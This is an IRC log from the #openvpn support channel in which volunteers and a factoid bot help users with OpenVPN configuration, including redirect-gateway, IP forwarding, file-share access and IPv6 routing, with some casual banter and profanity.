12:38 -!- IceGuest_77 [~IceChat77@smtp.utiglobal.net] has joined #openvpn
12:38 -!- IceGuest_77 is now known as IceGuest_77_
12:39 < pekster> http://www.catb.org/jargon/html/magic-story.html
12:39 <@vpnHelper> Title: A Story About ‘Magic' (at www.catb.org)
12:39 <+EugeneKay> PrivateTunnel.msi is the AS client
12:40 -!- TommehM [~TomM@unaffiliated/tommehm] has joined #openvpn
12:40 -!- TommehM [~TomM@unaffiliated/tommehm] has quit [Max SendQ exceeded]
12:40 <@ecrist> wrapped in a different logo, with other config goo, iirc
12:40 <@krzee> pekster, im lol'ing
12:40 -!- IceGuest_77_ is now known as computron
12:40 <+hazardous> ecrist: yeah that was my thought, it's AS but proprietarily configured and other stuff
12:41 <@novaflash> hey i heard you guys kicked a private tunnel user
12:41 <+hazardous> anyways, he's now in the as channel complaining about his ban and asking about privatetunnel
12:41 <+hazardous> hahahaha
12:41 <@ecrist> novaflash: yup
12:41 <@novaflash> good job
12:41 <@novaflash> ;)
12:41 <@ecrist> :D
12:41 <@krzee> LOL
12:41 <@novaflash> just tell him to go to support@privatetunnel.com
12:41 <@ecrist> novaflash: welcome to the suck
12:41 <@novaflash> maybe we should have a factoid here
12:41 <@novaflash> like !pt omg fuck off to support@privatetunnel.com already
12:41 <@krzee> !learn privatetunnel as go to support@privatetunnel.com for support!
12:41 <@vpnHelper> Joo got it.
12:41 <@novaflash> thanks
12:41 <@novaflash> that'll work nicely
12:42 <@krzee> !learn pt as [privatetunnel]
12:42 < computron> Hey guys quick question i am tryint to reset the admin account password from cmdline can anyone help me out with that?
12:42 <@vpnHelper> Joo got it.
12:42 <@krzee> !pt
12:42 <@vpnHelper> "pt" is "privatetunnel" is go to support@privatetunnel.com for support!
12:42 <@novaflash> computron: is this for access server?
12:42 < computron> yes novaflash
12:42 <+EugeneKay> !as
12:42 <@krzee> !as
12:42 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
12:42 <+hazardous> why are you asking in here?!
12:42 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
12:42 < computron> will do thanks fro the direction!!
12:42 <+hazardous> yay
12:42 <+EugeneKay> Some day we shall teach people to read the /topic
12:42 <+EugeneKay> But not today
12:43 < pekster> Here and the rest of Freenode...
12:43 <@novaflash> computron: then join #openvpn-as please
12:45 <@ecrist> reading pekster's link, I immediately feel like an EE geek of some sort, having promptly thought what was listed at the end as a possible explaination
12:47 < pekster> Yea, some capacitive reactance or something. It's still a cool story that I've loved re-reading now and then
12:48 <+EugeneKay> !fail2ban
12:48 <@vpnHelper> "fail2ban" is in linux you can replace fail2ban without the background process with something like: iptables -A INPUT -m tcp -p tcp --dport 22 -m hashlimit --hashlimit-name ssh --hashlimit-upto 5/minute --hashlimit-mode srcip --hashlimit-srcmask 24 -j ACCEPT
12:49 <+hazardous> i think the guy you banned is about to make novaflash cry
12:49 <+hazardous> lol
12:50 <@krzee> lol
12:50  * EugeneKay gets a hanky ready
12:50 <@ecrist> !magic
12:50 <+hazardous> what's !magic do
12:50 <@novaflash> no worries mate
12:50 <+EugeneKay> Nothing, it seems.
12:50 <@novaflash> guys like these, i eat for breakfast
12:50 <@ecrist> !learn magic as For a story about magic read http://www.catb.org/jargon/html/magic-story.html
12:50 <@vpnHelper> Error: You don't have the factoids.learn capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
12:50 <+hazardous> novaflash: seriously i pity you dealing with people like this all day
12:50 <@krzee> nice
12:50 <@ecrist> fuck you, vpnHelper 
12:50 <@ecrist> !whoami
12:50 <@vpnHelper> ecrist
12:50 <@krzee> !learn magic as For a story about magic read http://www.catb.org/jargon/html/magic-story.html
12:50 <@vpnHelper> Joo got it.
12:50 <@novaflash> dealing with krzee is much tougher
12:50 <@ecrist> tanks
12:50 <@krzee> bro i told you you needed to fix you on the bot
12:51 <@krzee> i fubar'ed it by accident
12:51 <@ecrist> I DID
12:51 <@krzee> sorry
12:51 <@krzee> oh, shit
12:51 <@ecrist> or did you fuck it up again
12:51 <@krzee> i guess it got fubared again
12:51 <@krzee> nah only 1x
12:51 <@ecrist> lol
12:51 <+EugeneKay> You must not have added me again
12:51 <@krzee> did you do the permissions like i had?
12:51 <@krzee> cause i did those right, a bunch were messed up before
12:51 <@dazo> pekster: ecrist: I spoke with a guy who did computer lab works in the early 80s ... they had stability issues with a server, and an expert from the UK came over ... looked at the circuit board, took out a knife and destroyed one of the connections to a pin ... and the server was completely stable ever since
12:53 <+EugeneKay> I'm a fan of percussive maintenance
12:54 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
12:54 -!- TommehM [~TomM@unaffiliated/tommehm] has joined #openvpn
12:55 <@dazo> hehe
12:56 <@dazo> EugeneKay: I'm sometimes tempted to use that on computer users asking for support for the nth-time as well ....
12:56 <+EugeneKay> https://www.xkcd.com/1180/
12:56 <@vpnHelper> Title: xkcd: Virus Venn Diagram (at www.xkcd.com)
12:57 < pekster> I don't mind helping with language or when lack of the right resources is the issue, but when someone actively refuses to read the resources, it's eventually a waste of time :\
12:57 -!- hazardous [~dbn@openvpn/user/hazardous] has quit [Ping timeout: 276 seconds]
12:58 <@dazo> pekster++
12:59 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 256 seconds]
13:03 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
13:03 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 240 seconds]
13:04 -!- hazardous [~dbn@void.kassad.in] has joined #openvpn
13:05 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
13:05 -!- mode/#openvpn [+o krzee] by ChanServ
13:05 -!- Azrael_- [~idjfijdi@adsl-62-167-40-41.adslplus.ch] has joined #openvpn
13:05 < Azrael_-> hi
13:07 < Azrael_-> i've got a small problem: one client worked perfectly, i moved it to a different location (other city) and fired it up. now the tunnel works, ping works but i can't access the network shares of windows. before moving it worked. other clients work just fine. any ideas?
13:08 < pekster> You're tring to access file shares from the client at the VPN IP, or on a PC on a LAN behind the server?
13:08 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
13:08 <+EugeneKay> Something something DNS
13:08 <@krzee> did you move to a location where you are on the same subnet as the lan you're trying to access over the vpn?
13:08 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
13:08 < Azrael_-> i access the share using ip, no names
13:09 < Azrael_-> krzee: if it was, the ping wouldn't work
13:09 <+EugeneKay> You'd be surprised
13:09 <@krzee> access share using LAN ip or VPN ip?
13:09 < pekster> Not if there was a duplicate machine with the same IP locally, or something redirecting the pings
13:09 < pekster> krzee: IPv6 fixes that. #justsaying ;)
13:09 <@krzee> pekster, :-p
13:10 <@krzee> not if everyone uses the same local subnet in ipv6
13:10 <@krzee> theres plenty for use in ipv4, people just get retarded and always use the same ones
13:10 < Azrael_-> i've used 10.8.0.x for openvpn and the local net is in 192.168.0.x
13:11 <+EugeneKay> Something changed. Find it.
13:11 <@krzee> and what ip are you mounting the share from
13:11 < Azrael_-> EugeneKay: as long as i don't hae the slightest clue it's getting difficult
13:11 <@krzee> (for the third time)
13:11 < Azrael_-> krzee: 10.8.0.1
13:11 < Azrael_-> sorry
13:11 <@krzee> and what machine is trying to mount a share on 10.8.0.1, the client machine?
13:12 < Azrael_-> client 10.8.0.18 -> server 10.8.0.1 (network share)
13:12 <@krzee> can the server ping the client?
13:12 < Azrael_-> yes
13:12 <@krzee> do it now
13:12 <@krzee> dont answer from prior testing
13:13 < Azrael_-> gnarf, and just now teamviewer doesn't respond. gotta let it check and then come back again. sorry
13:14 <@krzee> np
13:14 < Azrael_-> thanks anyway for the hints
13:15 <@krzee> with the fact that no lan sharing is involved, ild expect there was an issue with the connection or some firewall/filter issues
13:16 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 276 seconds]
13:20 < pekster> Or possibly MTU issues; it may be wise to try a ping with the DF bit set at the max MTU of the link
13:20 -!- sh_t [~sht@NL2.privatevpn.com] has quit [Ping timeout: 256 seconds]
13:20 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
13:34 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 255 seconds]
13:37 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
13:37 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn
13:37 -!- mode/#openvpn [+o krzie] by ChanServ
13:40 -!- smerz [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
13:40 -!- Porkepix [~Porkepix@157.138.184.18] has joined #openvpn
13:42 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
13:42 -!- module000 [~module000@173-10-195-33-BusName-LittleRock.hfc.comcastbusiness.net] has joined #openvpn
13:42 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
13:43 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginmedia.com] has joined #openvpn
13:47 -!- module000 [~module000@173-10-195-33-BusName-LittleRock.hfc.comcastbusiness.net] has quit [Quit: module000]
13:48 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Read error: Operation timed out]
13:49 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
13:57 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
14:00 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
14:00 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 255 seconds]
14:00 -!- krzie is now known as krzee
14:03 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
14:18 -!- Devastator- [~devas@186.214.110.30] has joined #openvpn
14:18 -!- Devastator- [~devas@186.214.110.30] has quit [Changing host]
14:18 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
14:19 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 256 seconds]
14:20 -!- Saviq [~Saviq@canonical/saviq] has quit [Excess Flood]
14:21 -!- Saviq [~Saviq@sawicz.net] has joined #openvpn
14:30 -!- mirco [~mirco@p50805D42.dip.t-dialin.net] has joined #openvpn
14:36 -!- Timmy [~quassel@unaffiliated/timmyt] has joined #openvpn
14:38 < Timmy> I have a .ovpn file and a .ca file which is provided by a openvpn provider, i want to use them through the commandline. there also is a username and  pass i have to enter, how can i do this? can you help me?
14:39 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 276 seconds]
14:39 -!- bjh4 [~bjh4@64.212.193.1] has quit [Remote host closed the connection]
14:40 <@dazo> Timmy: openvpn --config ovpn-file --ca ca-file --auth-user-pass
14:40 <@dazo> (--auth-user-pass may already be set in the config file, though ... --ca as well)
14:40 <@dazo> !--
14:40 <@vpnHelper> "--" is OpenVPN allows any option to be placed either on the command line or in a configuration file. Though all command line options are preceded by a double-leading-dash ("--"), this prefix is usually omitted when an option is placed in a configuration file.
14:42 -!- dazo is now known as dazo_afk
14:42 < Timmy> dazo: then how can i enter my username and password in the commandline? something like --auth-myusername-mypassword ?
14:42 < Timmy> dazo_afk: ^^
14:44 -!- meepmeep [~meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
14:44 <+EugeneKay> It is not recommended to put user/pass as an argument
14:46 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Operation timed out]
14:47 < Timmy> this is the report of openvn when i tried to connect: http://paste.kde.org/689000/
14:47 < Timmy> what is the problem?
14:49 <+EugeneKay> That appears to be a client log. What's the server log look like?
14:50 < Timmy> EugeneKay: I don't have access to the server
14:51 <+EugeneKay> !both
14:51 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
15:05 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
15:13 -!- Devastator- [~devas@unaffiliated/devastator] has quit [Remote host closed the connection]
15:14 -!- Devastator [~devas@186.214.110.30] has joined #openvpn
15:29 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
15:29 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
15:29 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
15:29 -!- mode/#openvpn [+o krzee] by ChanServ
15:34 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
15:50 -!- Timmy [~quassel@unaffiliated/timmyt] has left #openvpn ["http://quassel-irc.org - Chat comfortably. Anywhere."]
15:52 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
16:02 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 255 seconds]
16:05 -!- WolfX [~subzero@94.54.203.154] has joined #openvpn
16:06 < WolfX> Hi, my win7 client is connected to openvpn server on debian linux but it still browses websites directly.
16:07 <+EugeneKay> !redirect
16:07 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
16:07 <@vpnHelper> http://ircpimps.org/redirect.png
16:07 <+EugeneKay> WolfX - follow the chart ^
16:08 < WolfX> ok thanks.
16:12 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 245 seconds]
16:20 < WolfX> !ipforward
16:20 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
16:24 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginmedia.com] has quit [Quit: Ex-Chat]
16:25 < WolfX> !linipforward
16:25 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
16:31 -!- Porkepix_ [~Porkepix@ks353551.kimsufi.com] has joined #openvpn
16:32 -!- Porkepix [~Porkepix@157.138.184.18] has quit [Ping timeout: 255 seconds]
16:32 -!- Porkepix_ is now known as Porkepix
16:32 -!- speed_racer8 [~speed_rac@76.30.149.251] has quit [Quit: Leaving]
16:34 < WolfX> EugeneKay: in the chart it asks me if i can ping 8.8.8.8 but i cannot even ping VPN server ip after redirect-gateway def1 in client.ovpn in win7
16:36 < rob0> The very first box, "Can you ping the VPN IP of the server?" -> No: -> "Fix your VPN."
16:36 < rob0> A flowchart is meant to be followed in order.
16:38 < WolfX> oh, yes but i did default installation in debian according to : https://community.openvpn.net/openvpn/wiki/BridgingAndRouting exactly, and routing option is exactly my case.
16:38 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
16:39 < WolfX> how am i connect to the VPN server if i cannot ping it ?
16:39 < WolfX> connected*
16:43 -!- Porkepix [~Porkepix@ks353551.kimsufi.com] has quit [Ping timeout: 248 seconds]
16:43 < pekster> A "connected" VPN just means the control channel succeeded it's initial connection and hasn't timed out or explicitly disconnected. Firewalls are usually the cause of connection issues after that point
16:43 < pekster> Also, why are you bridging?
16:43 < pekster> !tunortap
16:43 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
16:43 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
16:43 -!- ade_b [~Ade@koln-5d817e98.pool.mediaWays.net] has joined #openvpn
16:43 -!- ade_b [~Ade@koln-5d817e98.pool.mediaWays.net] has quit [Changing host]
16:43 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
16:44 < WolfX> pekster: i'm not, my option is routing.
16:44 -!- Porkepix [~Porkepix@157.138.184.18] has joined #openvpn
16:45 -!- ade_b [~Ade@redhat/adeb] has quit [Client Quit]
16:46 < pekster> At a quick skimming, that guide doesn't deal with firewall issues for connectivity between the client & peer
16:46 < pekster> It's more of a guide for after you have a working VPN. Start with that first, becuase nothing else works if you can't communicate properly with your VPN peer
16:46 < pekster> The official howto is:
16:46 < pekster> !howto
16:46 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
16:47 -!- mirco [~mirco@p50805D42.dip.t-dialin.net] has quit [Quit: mirco]
16:52 -!- mirco [~mirco@p50805D42.dip.t-dialin.net] has joined #openvpn
16:52 -!- computron [~IceChat77@smtp.utiglobal.net] has quit [Ping timeout: 272 seconds]
16:53 -!- Porkepix [~Porkepix@157.138.184.18] has quit [Quit: Computer has gone to sleep.]
16:53 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:08 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
17:13 -!- mirco [~mirco@p50805D42.dip.t-dialin.net] has quit [Quit: mirco]
17:20 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection]
17:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
17:20 -!- mode/#openvpn [+o krzee] by ChanServ
17:20 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
17:24 < WolfX> i have debianPC (VPN server) and Win7(client) on the same network. I wanna install openVPN server on debian and connect internet from Win7 and pass through debian. This is for test only.
17:24 < WolfX> both have local IP behind router with 192.168.0.x ip. Is this possible or am i wasting my time tryign to setup openvpn in LAN?
17:24 -!- smerz [~smerz@a177088.upc-a.chello.nl] has quit [Ping timeout: 245 seconds]
17:26 -!- mirco [~mirco@p50805D42.dip.t-dialin.net] has joined #openvpn
17:26 <@krzee> possible but pointless
17:27 <@krzee> !local
17:27 <@vpnHelper> "local" is a flag for --redirect-gateway, Add the local flag if both OpenVPN machines are directly connected via a common subnet, such as with wireless.
17:27 <@krzee> !redirect
17:27 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
17:27 <@vpnHelper> http://ircpimps.org/redirect.png
17:29 -!- Porkepix [~Porkepix@net-2-40-85-103.cust.dsl.teletu.it] has joined #openvpn
17:37 < WolfX> !def1
17:37 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
17:37 -!- zamba [marius@flage.org] has quit [Ping timeout: 252 seconds]
17:37 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 252 seconds]
17:38 -!- novaflash [~novaflash@vpnserver1.jellemaautomatisering.nl] has joined #openvpn
17:38 -!- WolfX [~subzero@94.54.203.154] has quit [Quit: Leaving.]
17:39 -!- zamba [marius@flage.org] has joined #openvpn
17:39 -!- WolfX [~subzero@94.54.203.154] has joined #openvpn
17:39 -!- novaflash [~novaflash@vpnserver1.jellemaautomatisering.nl] has quit [Changing host]
17:39 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
17:39 -!- mode/#openvpn [+o novaflash] by ChanServ
17:46 -!- mirco [~mirco@p50805D42.dip.t-dialin.net] has quit [Quit: mirco]
17:49 -!- WolfX [~subzero@94.54.203.154] has quit [Quit: Leaving.]
18:11 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
18:11 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
18:21 -!- JSharpe [~JSharpe@46.165.210.17] has quit [Quit: Leaving]
18:38 -!- mellow89 [~mellow89@108-171-179-235.static.cloud-ips.com] has joined #openvpn
18:40 < mellow89> hi
18:43 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
19:01 < mellow89> does openvpn tunnel all my pcs traffic?
19:02 < rob0> by default, no, but it does do what you tell it to do.
19:02 < rob0> !redirect
19:02 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
19:02 <@vpnHelper> http://ircpimps.org/redirect.png
19:04 < mellow89> what traffic is redirected by default when you install it?
19:05 < rob0> no redirection without --redirect-gateway
19:05 < rob0> !howto
19:05 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
19:14 -!- ele_ [~maarten@pinky.elexer.com] has joined #openvpn
19:16 -!- ele [~maarten@pinky.elexer.com] has quit [Ping timeout: 264 seconds]
19:16 -!- mellow89 [~mellow89@108-171-179-235.static.cloud-ips.com] has quit [Quit: http://www.kiwiirc.com/ - A hand-crafted IRC client]
19:18 -!- mellow89 [~mellow89@108-171-179-235.static.cloud-ips.com] has joined #openvpn
19:21 -!- newbie|3 [~tjz@bb219-74-43-126.singnet.com.sg] has joined #openvpn
19:24 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 255 seconds]
19:33 -!- Devastator [~devas@186.214.110.30] has quit [Changing host]
19:33 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
19:41 -!- raidz is now known as raidz_away
19:44 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 248 seconds]
19:50 -!- WolfX [~subzero@94.54.203.154] has joined #openvpn
19:52 < mellow89> thanks
19:52 -!- mellow89 [~mellow89@108-171-179-235.static.cloud-ips.com] has quit [Quit: http://www.kiwiirc.com/ - A hand-crafted IRC client]
19:55 -!- WolfX1 [~subzero@94.54.203.154] has joined #openvpn
19:58 -!- WolfX [~subzero@94.54.203.154] has quit [Ping timeout: 256 seconds]
20:28 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
20:31 -!- mezgani [~mezgani@41.249.4.68] has joined #openvpn
20:33 -!- p3rror [~mezgani@41.140.180.37] has quit [Ping timeout: 245 seconds]
20:43 -!- Varazir [~mircwars@c-94-255-130-47.cust.bredband2.com] has quit [Ping timeout: 264 seconds]
20:44 -!- Varazir [~mircwars@c-94-255-130-47.cust.bredband2.com] has joined #openvpn
20:46 -!- WolfX1 [~subzero@94.54.203.154] has left #openvpn []
21:03 -!- APTX [APTX@unaffiliated/aptx] has quit [Ping timeout: 245 seconds]
21:05 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
21:08 -!- ravel_exe [ravel_exe@175.136.85.24] has joined #openvpn
21:29 -!- DaveTheDude [~FuckOff@69.85.93.87] has joined #openvpn
21:30 < DaveTheDude> Hey, i was in here last night asking about the latest version. Well i figured out how to get the latest version working properly... but i'm wondering how ipv6 support works.
21:31 < DaveTheDude> Doesn't this mean that i do not have ipv6 setup?
21:31 < DaveTheDude> Wed Mar 06 22:18:20 2013 us=649414 do_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=0
21:31 < DaveTheDude> Wed Mar 06 22:18:20 2013 us=649414 MANAGEMENT: >STATE:1362626300,ASSIGN_IP,,10.8.0.6,
21:31 < DaveTheDude> Wed Mar 06 22:18:20 2013 us=649414 open_tun, tt->ipv6=0
21:33 -!- ravel_cmd [ravel_exe@175.136.85.24] has joined #openvpn
21:34 < DaveTheDude> i don't have any specific ipv6 needs. i just want any and all ipv6 traffic from home, to be routed through my remote server
21:36 -!- ravel_exe [ravel_exe@175.136.85.24] has quit [Ping timeout: 252 seconds]
21:36 -!- ravel_exe [ravel_exe@175.136.85.24] has joined #openvpn
21:39 -!- ravel_cmd [ravel_exe@175.136.85.24] has quit [Ping timeout: 250 seconds]
21:39 -!- ravel_cmd [ravel_exe@175.136.85.24] has joined #openvpn
21:43 -!- ravel_exe [ravel_exe@175.136.85.24] has quit [Ping timeout: 256 seconds]
21:45 -!- ravel_exe [ravel_exe@175.136.85.24] has joined #openvpn
21:47 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
21:48 -!- ravel_cmd [ravel_exe@175.136.85.24] has quit [Ping timeout: 248 seconds]
21:48 -!- ravel_cmd [ravel_exe@175.136.85.24] has joined #openvpn
21:52 -!- ravel_exe [ravel_exe@175.136.85.24] has quit [Ping timeout: 276 seconds]
21:54 -!- ravel_exe [ravel_exe@175.136.85.24] has joined #openvpn
21:55 -!- ravel_cmd [ravel_exe@175.136.85.24] has quit [Ping timeout: 245 seconds]
21:55 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 245 seconds]
21:56 < DaveTheDude> any ideas or help?
21:58 -!- ravel_cmd [ravel_exe@175.136.85.24] has joined #openvpn
22:01 -!- ravel_exe [ravel_exe@175.136.85.24] has quit [Ping timeout: 252 seconds]
22:01 -!- ravel_exe [ravel_exe@175.136.85.24] has joined #openvpn
22:05 -!- ravel_cmd [ravel_exe@175.136.85.24] has quit [Ping timeout: 245 seconds]
22:05 -!- ravel_cmd [ravel_exe@175.136.85.24] has joined #openvpn
22:06 -!- pulz_ [geir@winning.no] has quit [Read error: Operation timed out]
22:08 -!- ravel_exe [ravel_exe@175.136.85.24] has quit [Ping timeout: 256 seconds]
22:10 -!- ravel_exe [ravel_exe@175.136.85.24] has joined #openvpn
22:11 -!- ravel_cmd [ravel_exe@175.136.85.24] has quit [Ping timeout: 255 seconds]
22:14 -!- ravel_cmd [ravel_exe@175.136.85.24] has joined #openvpn
22:17 -!- ravel_exe [ravel_exe@175.136.85.24] has quit [Ping timeout: 256 seconds]
22:19 -!- ravel_exe [ravel_exe@175.136.85.24] has joined #openvpn
22:20 -!- ravel_cmd [ravel_exe@175.136.85.24] has quit [Ping timeout: 245 seconds]
22:22 -!- pulz [geir@winning.no] has joined #openvpn
22:27 -!- ravel_cmd [ravel_exe@175.136.85.24] has joined #openvpn
22:31 -!- ravel_exe [ravel_exe@175.136.85.24] has quit [Ping timeout: 255 seconds]
22:33 < pekster> DaveTheDude: Look at the --tun-ipv6 option
22:33 < DaveTheDude> yes i see many option here
22:34 < DaveTheDude> the problem is that i don't exactly know how to use them
22:34 -!- ravel_cmd [ravel_exe@175.136.85.24] has quit [Ping timeout: 260 seconds]
22:34 < pekster> So, did you see/read the manpage section titled "IPv6 Related Options"
22:34 < DaveTheDude> i don't really have any specific ipv6 needs, i just want any ipv6 traffic to route through my server
22:34 < pekster> Push a route for the global IP space then
22:35 < DaveTheDude> no i didn't see a specific section that said IPv6 related options
22:36 < pekster> That'll show you all the config options you need to know
22:36 < DaveTheDude> i am reading this... https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage
22:36 <@vpnHelper> Title: Openvpn23ManPage – OpenVPN Community (at community.openvpn.net)
22:36 < pekster> Yup, that'll do fine
22:36 < DaveTheDude> yeah i see a lot of options, but when you said this "<pekster> Push a route for the global IP space then"
22:36 < DaveTheDude> you lost me
22:37 < pekster> 2000::/3 is the global routable IPv6 space currently assigned
22:37 < DaveTheDude> sorry, i know how to set things up basically, but i'm still a bit of a nub
22:37 < pekster> Just like def1 in IPv4 pushes a 0/1 and 128/1 route, 2000::/3 is the v6 equivelent
22:38 < DaveTheDude> you lost me again
22:38 < DaveTheDude> that is out of my depth
22:38 < pekster> It's going to be hard to set up IPv6 if you're not familiar with IPv6 to start with
22:39 < DaveTheDude> well i don't want ipv6 to be something that isn't covered when i am connected
22:40 < DaveTheDude> how would i go about pushing a route for the global IP space?
22:41 < pekster> Let's back up a step: what is your goal, what do you want to do? Are you currently IPv6 enabled on both your server and client?
22:45 < DaveTheDude> sorry, my grandma called
22:47 < DaveTheDude> my server is
22:47 < DaveTheDude> my home os is windows
22:48 < DaveTheDude> i don't have an ipv6 IP... but i get a lot of ipv6 network chatter
22:48 < pekster> If you don't have globally assinged IP space at least on the server, you'll be unable to assign usable IP space to clients
22:49 < pekster> You need to give OpenVPN a block of space, either a /112 or a /64 that it will then assign to clients
22:50 < pekster> If you don't have a PD (Prefix Deligation) or routed IPv6 block assigned to the server, you can't serve IPv6 access to clients
22:50 < DaveTheDude> this is what i have in my server's network interfaces
22:50 < DaveTheDude> iface eth0 inet6 static
22:50 < DaveTheDude> address 2001:1111:1:1111::1
22:50 < DaveTheDude> i changed the address
22:51 < DaveTheDude> actually i should have posted all of what is there
22:51 < pekster> !paste
22:51 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
22:51 < pekster> !interface
